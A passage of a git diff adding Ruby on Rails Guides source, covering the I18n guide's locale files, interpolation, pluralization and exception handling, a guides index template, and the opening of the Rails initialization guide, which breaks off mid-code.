+pirate: + hello_world: Ahoy World + hello_flash: Ahoy Flash +``` + +Because the `default_locale` hasn't changed, translations use the `:en` locale and the response renders the english strings: + + + +If the locale is set via the URL to the pirate locale (`http://localhost:3000?locale=pirate`), the response renders the pirate strings: + + + +NOTE: You need to restart the server when you add new locale files. + +You may use YAML (`.yml`) or plain Ruby (`.rb`) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.) + +If your translations are stored in YAML files, certain keys must be escaped. They are: + +* true, on, yes +* false, off, no + +Examples: + +```yaml +# config/locales/en.yml +en: + success: + 'true': 'True!' + 'on': 'On!' + 'false': 'False!' + failure: + true: 'True!' + off: 'Off!' + false: 'False!' +``` + +```ruby +I18n.t 'success.true' # => 'True!' +I18n.t 'success.on' # => 'On!' +I18n.t 'success.false' # => 'False!' +I18n.t 'failure.false' # => Translation Missing +I18n.t 'failure.off' # => Translation Missing +I18n.t 'failure.true' # => Translation Missing +``` + +### Passing Variables to Translations + +One key consideration for successfully internationalizing an application is to +avoid making incorrect assumptions about grammar rules when abstracting localized +code. Grammar rules that seem fundamental in one locale may not hold true in +another one. + +Improper abstraction is shown in the following example, where assumptions are +made about the ordering of the different parts of the translation. Note that Rails +provides a `number_to_currency` helper to handle the following case. + +```erb +# app/views/products/show.html.erb +<%= "#{t('currency')}#{@product.price}" %> +``` + +```yaml +# config/locales/en.yml +en: + currency: "$" + +# config/locales/es.yml +es: + currency: "€" +``` + +If the product's price is 10 then the proper translation for Spanish is "10 €" +instead of "€10" but the abstraction cannot give it. + +To create proper abstraction, the I18n gem ships with a feature called variable +interpolation that allows you to use variables in translation definitions and +pass the values for these variables to the translation method. + +Proper abstraction is shown in the following example: + +```erb +# app/views/products/show.html.erb +<%= t('product_price', price: @product.price) %> +``` + +```yaml +# config/locales/en.yml +en: + product_price: "$%{price}" + +# config/locales/es.yml +es: + product_price: "%{price} €" +``` + +All grammatical and punctuation decisions are made in the definition itself, so +the abstraction can give a proper translation. + +NOTE: The `default` and `scope` keywords are reserved and can't be used as +variable names. If used, an `I18n::ReservedInterpolationKey` exception is raised. +If a translation expects an interpolation variable, but this has not been passed +to `#translate`, an `I18n::MissingInterpolationArgument` exception is raised. + +### Adding Date/Time Formats + +OK! Now let's add a timestamp to the view, so we can demo the **date/time localization** feature as well. To localize the time format you pass the Time object to `I18n.l` or (preferably) use Rails' `#l` helper. You can pick a format by passing the `:format` option - by default the `:default` format is used. + +```erb +# app/views/home/index.html.erb +<h1><%= t :hello_world %></h1> +<p><%= flash[:notice] %></p> +<p><%= l Time.now, format: :short %></p> +``` + +And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English): + +```yaml +# config/locales/pirate.yml +pirate: + time: + formats: + short: "arrrround %H'ish" +``` + +So that would give you: + + + +TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by **translating Rails' defaults for your locale**. See the [rails-i18n repository at GitHub](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for an archive of various locale files. When you put such file(s) in `config/locales/` directory, they will automatically be ready for use. + +### Inflection Rules For Other Locales + +Rails allows you to define inflection rules (such as rules for singularization and pluralization) for locales other than English. In `config/initializers/inflections.rb`, you can define these rules for multiple locales. The initializer contains a default example for specifying additional rules for English; follow that format for other locales as you see fit. + +### Localized Views + +Let's say you have a _BooksController_ in your application. Your _index_ action renders content in `app/views/books/index.html.erb` template. When you put a _localized variant_ of this template: `index.es.html.erb` in the same directory, Rails will render content in this template, when the locale is set to `:es`. When the locale is set to the default locale, the generic `index.html.erb` view will be used. (Future Rails versions may well bring this _automagic_ localization to assets in `public`, etc.) + +You can make use of this feature, e.g. when working with a large amount of static content, which would be clumsy to put inside YAML or Ruby dictionaries. Bear in mind, though, that any change you would like to do later to the template must be propagated to all of them. + +### Organization of Locale Files + +When you are using the default SimpleStore shipped with the i18n library, +dictionaries are stored in plain-text files on the disk. Putting translations +for all parts of your application in one file per locale could be hard to +manage. You can store these files in a hierarchy which makes sense to you. + +For example, your `config/locales` directory could look like this: + +``` +|-defaults +|---es.rb +|---en.rb +|-models +|---book +|-----es.rb +|-----en.rb +|-views +|---defaults +|-----es.rb +|-----en.rb +|---books +|-----es.rb +|-----en.rb +|---users +|-----es.rb +|-----en.rb +|---navigation +|-----es.rb +|-----en.rb +``` + +This way, you can separate model and model attribute names from text inside views, and all of this from the "defaults" (e.g. date and time formats). Other stores for the i18n library could provide different means of such separation. + +NOTE: The default locale loading mechanism in Rails does not load locale files in nested dictionaries, like we have here. So, for this to work, we must explicitly tell Rails to look further: + +```ruby + # config/application.rb + config.i18n.load_path += Dir[Rails.root.join('config', 'locales', '**', '*.{rb,yml}')] + +``` + +Overview of the I18n API Features +--------------------------------- + +You should have a good understanding of using the i18n library now and know how +to internationalize a basic Rails application. In the following chapters, we'll +cover its features in more depth. + +These chapters will show examples using both the `I18n.translate` method as well as the [`translate` view helper method](http://api.rubyonrails.org/classes/ActionView/Helpers/TranslationHelper.html#method-i-translate) (noting the additional feature provide by the view helper method). + +Covered are features like these: + +* looking up translations +* interpolating data into translations +* pluralizing translations +* using safe HTML translations (view helper method only) +* localizing dates, numbers, currency, etc. + +### Looking up Translations + +#### Basic Lookup, Scopes, and Nested Keys + +Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent: + +```ruby +I18n.t :message +I18n.t 'message' +``` + +The `translate` method also takes a `:scope` option which can contain one or more additional keys that will be used to specify a "namespace" or scope for a translation key: + +```ruby +I18n.t :record_invalid, scope: [:activerecord, :errors, :messages] +``` + +This looks up the `:record_invalid` message in the Active Record error messages. + +Additionally, both the key and scopes can be specified as dot-separated keys as in: + +```ruby +I18n.translate "activerecord.errors.messages.record_invalid" +``` + +Thus the following calls are equivalent: + +```ruby +I18n.t 'activerecord.errors.messages.record_invalid' +I18n.t 'errors.messages.record_invalid', scope: :activerecord +I18n.t :record_invalid, scope: 'activerecord.errors.messages' +I18n.t :record_invalid, scope: [:activerecord, :errors, :messages] +``` + +#### Defaults + +When a `:default` option is given, its value will be returned if the translation is missing: + +```ruby +I18n.t :missing, default: 'Not here' +# => 'Not here' +``` + +If the `:default` value is a Symbol, it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned. + +E.g., the following first tries to translate the key `:missing` and then the key `:also_missing.` As both do not yield a result, the string "Not here" will be returned: + +```ruby +I18n.t :missing, default: [:also_missing, 'Not here'] +# => 'Not here' +``` + +#### Bulk and Namespace Lookup + +To look up multiple translations at once, an array of keys can be passed: + +```ruby +I18n.t [:odd, :even], scope: 'errors.messages' +# => ["must be odd", "must be even"] +``` + +Also, a key can translate to a (potentially nested) hash of grouped translations. E.g., one can receive _all_ Active Record error messages as a Hash with: + +```ruby +I18n.t 'activerecord.errors.messages' +# => {:inclusion=>"is not included in the list", :exclusion=> ... } +``` + +If you want to perform interpolation on a bulk hash of translations, you need to pass `deep_interpolation: true` as a parameter. When you have the following dictionary: + +```yaml +en: + welcome: + title: "Welcome!" + content: "Welcome to the %{app_name}" +``` + +then the nested interpolation will be ignored without the setting: + +```ruby +I18n.t 'welcome', app_name: 'book store' +# => {:title=>"Welcome!", :content=>"Welcome to the %{app_name}"} + +I18n.t 'welcome', deep_interpolation: true, app_name: 'book store' +# => {:title=>"Welcome!", :content=>"Welcome to the book store"} +``` + + +#### "Lazy" Lookup + +Rails implements a convenient way to look up the locale inside _views_. When you have the following dictionary: + +```yaml +es: + books: + index: + title: "Título" +``` + +you can look up the `books.index.title` value **inside** `app/views/books/index.html.erb` template like this (note the dot): + +```erb +<%= t '.title' %> +``` + +NOTE: Automatic translation scoping by partial is only available from the `translate` view helper method. + +"Lazy" lookup can also be used in controllers: + +```yaml +en: + books: + create: + success: Book created! +``` + +This is useful for setting flash messages for instance: + +```ruby +class BooksController < ApplicationController + def create + # ... + redirect_to books_url, notice: t('.success') + end +end +``` + +### Pluralization + +In many languages — including English — there are only two forms, a singular and a plural, for +a given string, e.g. "1 message" and "2 messages". Other languages ([Arabic](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ar), [Japanese](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ja), [Russian](http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html#ru) and many more) have different grammars that have additional or fewer [plural forms](http://cldr.unicode.org/index/cldr-spec/plural-rules). Thus, the I18n API provides a flexible pluralization feature. + +The `:count` interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined in the +pluralization backend. By default, only the English pluralization rules are applied. + +```ruby +I18n.backend.store_translations :en, inbox: { + zero: 'no messages', # optional + one: 'one message', + other: '%{count} messages' +} +I18n.translate :inbox, count: 2 +# => '2 messages' + +I18n.translate :inbox, count: 1 +# => 'one message' + +I18n.translate :inbox, count: 0 +# => 'no messages' +``` + +The algorithm for pluralizations in `:en` is as simple as: + +```ruby +lookup_key = :zero if count == 0 && entry.has_key?(:zero) +lookup_key ||= count == 1 ? :one : :other +entry[lookup_key] +``` + +The translation denoted as `:one` is regarded as singular, and the `:other` is used as plural. If the count is zero, and a `:zero` entry is present, then it will be used instead of `:other`. + +If the lookup for the key does not return a Hash suitable for pluralization, an `I18n::InvalidPluralizationData` exception is raised. + +#### Locale-specific rules + +The I18n gem provides a Pluralization backend that can be used to enable locale-specific rules. Include it +to the Simple backend, then add the localized pluralization algorithms to translation store, as `i18n.plural.rule`. + +```ruby +I18n::Backend::Simple.include(I18n::Backend::Pluralization) +I18n.backend.store_translations :pt, i18n: { plural: { rule: lambda { |n| [0, 1].include?(n) ? :one : :other } } } +I18n.backend.store_translations :pt, apples: { one: 'one or none', other: 'more than one' } + +I18n.t :apples, count: 0, locale: :pt +# => 'one or none' +``` + +Alternatively, the separate gem [rails-i18n](https://github.com/svenfuchs/rails-i18n) can be used to provide a fuller set of locale-specific pluralization rules. + +### Setting and Passing a Locale + +The locale can be either set pseudo-globally to `I18n.locale` (which uses `Thread.current` like, e.g., `Time.zone`) or can be passed as an option to `#translate` and `#localize`. + +If no locale is passed, `I18n.locale` is used: + +```ruby +I18n.locale = :de +I18n.t :foo +I18n.l Time.now +``` + +Explicitly passing a locale: + +```ruby +I18n.t :foo, locale: :de +I18n.l Time.now, locale: :de +``` + +The `I18n.locale` defaults to `I18n.default_locale` which defaults to :`en`. The default locale can be set like this: + +```ruby +I18n.default_locale = :de +``` + +### Using Safe HTML Translations + +Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. When you use them in views the HTML will not be escaped. + +```yaml +# config/locales/en.yml +en: + welcome: <b>welcome!</b> + hello_html: <b>hello!</b> + title: + html: <b>title!</b> +``` + +```html+erb +# app/views/home/index.html.erb +<div><%= t('welcome') %></div> +<div><%= raw t('welcome') %></div> +<div><%= t('hello_html') %></div> +<div><%= t('title.html') %></div> +``` + +Interpolation escapes as needed though. For example, given: + +```yaml +en: + welcome_html: "<b>Welcome %{username}!</b>" +``` + +you can safely pass the username as set by the user: + +```erb +<%# This is safe, it is going to be escaped if needed. %> +<%= t('welcome_html', username: @current_user.username) %> +``` + +Safe strings on the other hand are interpolated verbatim. + +NOTE: Automatic conversion to HTML safe translate text is only available from the `translate` view helper method. + + + +### Translations for Active Record Models + +You can use the methods `Model.model_name.human` and `Model.human_attribute_name(attribute)` to transparently look up translations for your model and attribute names. + +For example when you add the following translations: + +```yaml +en: + activerecord: + models: + user: Customer + attributes: + user: + login: "Handle" + # will translate User attribute "login" as "Handle" +``` + +Then `User.model_name.human` will return "Customer" and `User.human_attribute_name("login")` will return "Handle". + +You can also set a plural form for model names, adding as following: + +```yaml +en: + activerecord: + models: + user: + one: Customer + other: Customers +``` + +Then `User.model_name.human(count: 2)` will return "Customers". With `count: 1` or without params will return "Customer". + +In the event you need to access nested attributes within a given model, you should nest these under `model/attribute` at the model level of your translation file: + +```yaml +en: + activerecord: + attributes: + user/role: + admin: "Admin" + contributor: "Contributor" +``` + +Then `User.human_attribute_name("role.admin")` will return "Admin". + +NOTE: If you are using a class which includes `ActiveModel` and does not inherit from `ActiveRecord::Base`, replace `activerecord` with `activemodel` in the above key paths. + +#### Error Message Scopes + +Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account. + +This gives you quite powerful means to flexibly adjust your messages to your application's needs. + +Consider a User model with a validation for the name attribute like this: + +```ruby +class User < ApplicationRecord + validates :name, presence: true +end +``` + +The key for the error message in this case is `:blank`. Active Record will look up this key in the namespaces: + +```ruby +activerecord.errors.models.[model_name].attributes.[attribute_name] +activerecord.errors.models.[model_name] +activerecord.errors.messages +errors.attributes.[attribute_name] +errors.messages +``` + +Thus, in our example it will try the following keys in this order and return the first result: + +```ruby +activerecord.errors.models.user.attributes.name.blank +activerecord.errors.models.user.blank +activerecord.errors.messages.blank +errors.attributes.name.blank +errors.messages.blank +``` + +When your models are additionally using inheritance then the messages are looked up in the inheritance chain. + +For example, you might have an Admin model inheriting from User: + +```ruby +class Admin < User + validates :name, presence: true +end +``` + +Then Active Record will look for messages in this order: + +```ruby +activerecord.errors.models.admin.attributes.name.blank +activerecord.errors.models.admin.blank +activerecord.errors.models.user.attributes.name.blank +activerecord.errors.models.user.blank +activerecord.errors.messages.blank +errors.attributes.name.blank +errors.messages.blank +``` + +This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models, or default scopes. + +#### Error Message Interpolation + +The translated model name, translated attribute name, and value are always available for interpolation as `model`, `attribute` and `value` respectively. + +So, for example, instead of the default error message `"cannot be blank"` you could use the attribute name like this : `"Please fill in your %{attribute}"`. + +* `count`, where available, can be used for pluralization if present: + +| validation | with option | message | interpolation | +| ------------ | ------------------------- | ------------------------- | ------------- | +| confirmation | - | :confirmation | attribute | +| acceptance | - | :accepted | - | +| presence | - | :blank | - | +| absence | - | :present | - | +| length | :within, :in | :too_short | count | +| length | :within, :in | :too_long | count | +| length | :is | :wrong_length | count | +| length | :minimum | :too_short | count | +| length | :maximum | :too_long | count | +| uniqueness | - | :taken | - | +| format | - | :invalid | - | +| inclusion | - | :inclusion | - | +| exclusion | - | :exclusion | - | +| associated | - | :invalid | - | +| non-optional association | - | :required | - | +| numericality | - | :not_a_number | - | +| numericality | :greater_than | :greater_than | count | +| numericality | :greater_than_or_equal_to | :greater_than_or_equal_to | count | +| numericality | :equal_to | :equal_to | count | +| numericality | :less_than | :less_than | count | +| numericality | :less_than_or_equal_to | :less_than_or_equal_to | count | +| numericality | :other_than | :other_than | count | +| numericality | :only_integer | :not_an_integer | - | +| numericality | :odd | :odd | - | +| numericality | :even | :even | - | + +#### Translations for the Active Record `error_messages_for` Helper + +If you are using the Active Record `error_messages_for` helper, you will want to add +translations for it. + +Rails ships with the following translations: + +```yaml +en: + activerecord: + errors: + template: + header: + one: "1 error prohibited this %{model} from being saved" + other: "%{count} errors prohibited this %{model} from being saved" + body: "There were problems with the following fields:" +``` + +NOTE: In order to use this helper, you need to install [DynamicForm](https://github.com/joelmoss/dynamic_form) +gem by adding this line to your `Gemfile`: `gem 'dynamic_form'`. + +### Translations for Action Mailer E-Mail Subjects + +If you don't pass a subject to the `mail` method, Action Mailer will try to find +it in your translations. The performed lookup will use the pattern +`<mailer_scope>.<action_name>.subject` to construct the key. + +```ruby +# user_mailer.rb +class UserMailer < ActionMailer::Base + def welcome(user) + #... + end +end +``` + +```yaml +en: + user_mailer: + welcome: + subject: "Welcome to Rails Guides!" +``` + +To send parameters to interpolation use the `default_i18n_subject` method on the mailer. + +```ruby +# user_mailer.rb +class UserMailer < ActionMailer::Base + def welcome(user) + mail(to: user.email, subject: default_i18n_subject(user: user.name)) + end +end +``` + +```yaml +en: + user_mailer: + welcome: + subject: "%{user}, welcome to Rails Guides!" +``` + +### Overview of Other Built-In Methods that Provide I18n Support + +Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview. + +#### Action View Helper Methods + +* `distance_of_time_in_words` translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See [datetime.distance_in_words](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L4) translations. + +* `datetime_select` and `select_month` use translated month names for populating the resulting select tag. See [date.month_names](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15) for translations. `datetime_select` also looks up the order option from [date.order](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18) (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the [datetime.prompts](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L39) scope if applicable. + +* The `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter`, and `number_to_human_size` helpers use the number format settings located in the [number](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L37) scope. + +#### Active Model Methods + +* `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the [activerecord.models](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L36) scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes". + +* `ActiveModel::Errors#generate_message` (which is used by Active Model validations but may also be used manually) uses `model_name.human` and `human_attribute_name` (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes". + +* `ActiveModel::Errors#full_messages` prepends the attribute name to the error message using a separator that will be looked up from [errors.format](https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml#L4) (and which defaults to `"%{attribute} %{message}"`). + +#### Active Support Methods + +* `Array#to_sentence` uses format settings as given in the [support.array](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L33) scope. + +How to Store your Custom Translations +------------------------------------- + +The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format.[^2] + +For example a Ruby Hash providing translations can look like this: + +```ruby +{ + pt: { + foo: { + bar: "baz" + } + } +} +``` + +The equivalent YAML file would look like this: + +```yaml +pt: + foo: + bar: baz +``` + +As you see, in both cases the top level key is the locale. `:foo` is a namespace key and `:bar` is the key for the translation "baz". + +Here is a "real" example from the Active Support `en.yml` translations YAML file: + +```yaml +en: + date: + formats: + default: "%Y-%m-%d" + short: "%b %d" + long: "%B %d, %Y" +``` + +So, all of the following equivalent lookups will return the `:short` date format `"%b %d"`: + +```ruby +I18n.t 'date.formats.short' +I18n.t 'formats.short', scope: :date +I18n.t :short, scope: 'date.formats' +I18n.t :short, scope: [:date, :formats] +``` + +Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats. + +Customize your I18n Setup +------------------------- + +### Using Different Backends + +For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_[^3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but cannot dynamically store them to any format. + +That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs, by passing a backend instance to the `I18n.backend=` setter. + +For example, you can replace the Simple backend with the Chain backend to chain multiple backends together. This is useful when you want to use standard translations with a Simple backend but store custom application translations in a database or other backends. + +With the Chain backend, you could use the Active Record backend and fall back to the (default) Simple backend: + +```ruby +I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRecord.new, I18n.backend) +``` + +### Using Different Exception Handlers + +The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur: + +```ruby +MissingTranslationData # no translation was found for the requested key +InvalidLocale # the locale set to I18n.locale is invalid (e.g. nil) +InvalidPluralizationData # a count option was passed but the translation data is not suitable for pluralization +MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed +ReservedInterpolationKey # the translation contains a reserved interpolation variable name (i.e. one of: scope, default) +UnknownFileType # the backend does not know how to handle a file type that was added to I18n.load_path +``` + +The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for `MissingTranslationData` exceptions. When a `MissingTranslationData` exception has been caught, it will return the exception's error message string containing the missing key/scope. + +The reason for this is that during development you'd usually want your views to still render even though a translation is missing. + +In other contexts you might want to change this behavior, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module or a class with `#call` method: + +```ruby +module I18n + class JustRaiseExceptionHandler < ExceptionHandler + def call(exception, locale, key, options) + if exception.is_a?(MissingTranslationData) + raise exception.to_exception + else + super + end + end + end +end + +I18n.exception_handler = I18n::JustRaiseExceptionHandler.new +``` + +This would re-raise only the `MissingTranslationData` exception, passing all other input to the default exception handler. + +However, if you are using `I18n::Backend::Pluralization` this handler will also raise `I18n::MissingTranslationData: translation missing: en.i18n.plural.rule` exception that should normally be ignored to fall back to the default pluralization rule for English locale. To avoid this you may use additional check for translation key: + +```ruby +if exception.is_a?(MissingTranslationData) && key.to_s != 'i18n.plural.rule' + raise exception.to_exception +else + super +end +``` + +Another example where the default behavior is less desirable is the Rails TranslationHelper which provides the method `#t` (as well as `#translate`). When a `MissingTranslationData` exception occurs in this context, the helper wraps the message into a span with the CSS class `translation_missing`. + +To do so, the helper forces `I18n#translate` to raise exceptions no matter what exception handler is defined by setting the `:raise` option: + +```ruby +I18n.t :foo, raise: true # always re-raises exceptions from the backend +``` + +Translating Model Content +------------------------- + +The I18n API described in this guide is primarily intended for translating interface strings. If you are looking to translate model content (e.g. blog posts), you will need a different solution to help with this. + +Several gems can help with this: + +* [Globalize](https://github.com/globalize/globalize): Store translations on separate translation tables, one for each translated model +* [Mobility](https://github.com/shioyama/mobility): Provides support for storing translations in many formats, including translation tables, json columns (Postgres), etc. +* [Traco](https://github.com/barsoom/traco): Translatable columns for Rails 3 and 4, stored in the model table itself + +Conclusion +---------- + +At this point you should have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project. + + +Contributing to Rails I18n +-------------------------- + +I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in gems and real applications first, and only then cherry-picking the best-of-breed of most widely useful features for inclusion in the core. + +Thus we encourage everybody to experiment with new ideas and features in gems or other libraries and make them available to the community. (Don't forget to announce your work on our [mailing list](https://groups.google.com/forum/#!forum/rails-i18n)!) + +If you find your own locale (language) missing from our [example translations data](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) repository for Ruby on Rails, please [_fork_](https://github.com/guides/fork-a-project-and-submit-your-modifications) the repository, add your data, and send a [pull request](https://help.github.com/articles/about-pull-requests/). + + +Resources +--------- + +* [Google group: rails-i18n](https://groups.google.com/forum/#!forum/rails-i18n) - The project's mailing list. +* [GitHub: rails-i18n](https://github.com/svenfuchs/rails-i18n) - Code repository and issue tracker for the rails-i18n project. Most importantly you can find lots of [example translations](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for Rails that should work for your application in most cases. +* [GitHub: i18n](https://github.com/svenfuchs/i18n) - Code repository and issue tracker for the i18n gem. + + +Authors +------- + +* [Sven Fuchs](http://svenfuchs.com) (initial author) +* [Karel Minařík](http://www.karmi.cz) + +Footnotes +--------- + +[^1]: Or, to quote [Wikipedia](https://en.wikipedia.org/wiki/Internationalization_and_localization): _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_ + +[^2]: Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files. + +[^3]: One of these reasons is that we don't want to imply any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions. diff --git a/guides/source/index.html.erb b/guides/source/index.html.erb new file mode 100644 index 0000000000..76f01fea0a --- /dev/null +++ b/guides/source/index.html.erb @@ -0,0 +1,30 @@ +<% content_for :page_title do %> +Ruby on Rails Guides +<% end %> + +<% content_for :header_section do %> +<%= render 'welcome' %> +<% end %> + +<% content_for :index_section do %> +<div id="subCol"> + <dl> + <dt></dt> + <% unless @edge -%> + <dd class="kindle">Rails Guides are also available for <%= link_to 'Kindle', @mobi %>.</dd> + <% end -%> + <dd class="work-in-progress">Guides marked with this icon are currently being worked on and will not be available in the Guides Index menu. While still useful, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections.</dd> + </dl> +</div> +<% end %> + +<% documents_by_section.each do |section| %> + <h3><%= section['name'] %></h3> + <dl> + <% section['documents'].each do |document| %> + <%= guide(document['name'], document['url'], work_in_progress: document['work_in_progress']) do %> + <p><%= document['description'] %></p> + <% end %> + <% end %> + </dl> +<% end %> diff --git a/guides/source/initialization.md b/guides/source/initialization.md new file mode 100644 index 0000000000..c41eae18cf --- /dev/null +++ b/guides/source/initialization.md @@ -0,0 +1,710 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +The Rails Initialization Process +================================ + +This guide explains the internals of the initialization process in Rails. +It is an extremely in-depth guide and recommended for advanced Rails developers. + +After reading this guide, you will know: + +* How to use `rails server`. +* The timeline of Rails' initialization sequence. +* Where different files are required by the boot sequence. +* How the Rails::Server interface is defined and used. + +-------------------------------------------------------------------------------- + +This guide goes through every method call that is +required to boot up the Ruby on Rails stack for a default Rails +application, explaining each part in detail along the way. For this +guide, we will be focusing on what happens when you execute `rails server` +to boot your app. + +NOTE: Paths in this guide are relative to Rails or a Rails application unless otherwise specified. + +TIP: If you want to follow along while browsing the Rails [source +code](https://github.com/rails/rails), we recommend that you use the `t` +key binding to open the file finder inside GitHub and find files +quickly. + +Launch! +------- + +Let's start to boot and initialize the app. A Rails application is usually +started by running `rails console` or `rails server`. + +### `railties/exe/rails` + +The `rails` in the command `rails server` is a ruby executable in your load +path. This executable contains the following lines: + +```ruby +version = ">= 0" +load Gem.bin_path('railties', 'rails', version) +``` + +If you try out this command in a Rails console, you would see that this loads +`railties/exe/rails`. A part of the file `railties/exe/rails` has the +following code: + +```ruby +require "rails/cli" +``` + +The file `railties/lib/rails/cli` in turn calls +`Rails::AppLoader.exec_app`. + +### `railties/lib/rails/app_loader.rb` + +The primary goal of the function `exec_app` is to execute your app's +`bin/rails`. If the current directory does not have a `bin/rails`, it will +navigate upwards until it finds a `bin/rails` executable. Thus one can invoke a +`rails` command from anywhere inside a rails application. + +For `rails server` the equivalent of the following command is executed: + +```bash +$ exec ruby bin/rails server +``` + +### `bin/rails` + +This file is as follows: + +```ruby +#!/usr/bin/env ruby +APP_PATH = File.expand_path('../config/application', __dir__) +require_relative '../config/boot' +require 'rails/commands' +``` + +The `APP_PATH` constant will be used later in `rails/commands`. The `config/boot` file referenced here is the `config/boot.rb` file in our application which is responsible for loading Bundler and setting it up. + +### `config/boot.rb` + +`config/boot.rb` contains: + +```ruby +ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../Gemfile', __dir__) + +require 'bundler/setup' # Set up gems listed in the Gemfile. +``` + +In a standard Rails application, there's a `Gemfile` which declares all +dependencies of the application. `config/boot.rb` sets +`ENV['BUNDLE_GEMFILE']` to the location of this file. If the `Gemfile` +exists, then `bundler/setup` is required. The require is used by Bundler to +configure the load path for your Gemfile's dependencies. + +A standard Rails application depends on several gems, specifically: + +* actioncable +* actionmailer +* actionpack +* actionview +* activejob +* activemodel +* activerecord +* activestorage +* activesupport +* arel +* builder +* bundler +* erubi +* i18n +* mail +* mime-types +* rack +* rack-test +* rails +* railties +* rake +* sqlite3 +* thor +* tzinfo + +### `rails/commands.rb` + +Once `config/boot.rb` has finished, the next file that is required is +`rails/commands`, which helps in expanding aliases. In the current case, the +`ARGV` array simply contains `server` which will be passed over: + +```ruby +require_relative "command" + +aliases = { + "g" => "generate", + "d" => "destroy", + "c" => "console", + "s" => "server", + "db" => "dbconsole", + "r" => "runner", + "t" => "test" +} + +command = ARGV.shift +command = aliases[command] || command + +Rails::Command.invoke command, ARGV +``` + +If we had used `s` rather than `server`, Rails would have used the `aliases` +defined here to find the matching command. + +### `rails/command.rb` + +When one types a Rails command, `invoke` tries to lookup a command for the given +namespace and executes the command if found. + +If Rails doesn't recognize the command, it hands the reins over to Rake +to run a task of the same name. + +As shown, `Rails::Command` displays the help output automatically if the `args` +are empty. + +```ruby +module Rails::Command + class << self + def invoke(namespace, args = [], **config) + namespace = namespace.to_s + namespace = "help" if namespace.blank? || HELP_MAPPINGS.include?(namespace) + namespace = "version" if %w( -v --version ).include? namespace + + if command = find_by_namespace(namespace) + command.perform(namespace, args, config) + else + find_by_namespace("rake").perform(namespace, args, config) + end + end + end +end +``` + +With the `server` command, Rails will further run the following code: + +```ruby +module Rails + module Command + class ServerCommand < Base # :nodoc: + def perform + set_application_directory! + + Rails::Server.new.tap do |server| + # Require application after server sets environment to propagate + # the --environment option. + require APP_PATH + Dir.chdir(Rails.application.root) + server.start + end + end + end + end +end +``` + +This file will change into the Rails root directory (a path two directories up +from `APP_PATH` which points at `config/application.rb`), but only if the +`config.ru` file isn't found. This then starts up the `Rails::Server` class. + +### `actionpack/lib/action_dispatch.rb` + +Action Dispatch is the routing component of the Rails framework. +It adds functionality like routing, session, and common middlewares. + +### `rails/commands/server/server_command.rb` + +The `Rails::Server` class is defined in this file by inheriting from +`Rack::Server`. When `Rails::Server.new` is called, this calls the `initialize` +method in `rails/commands/server/server_command.rb`: + +```ruby +def initialize(*) + 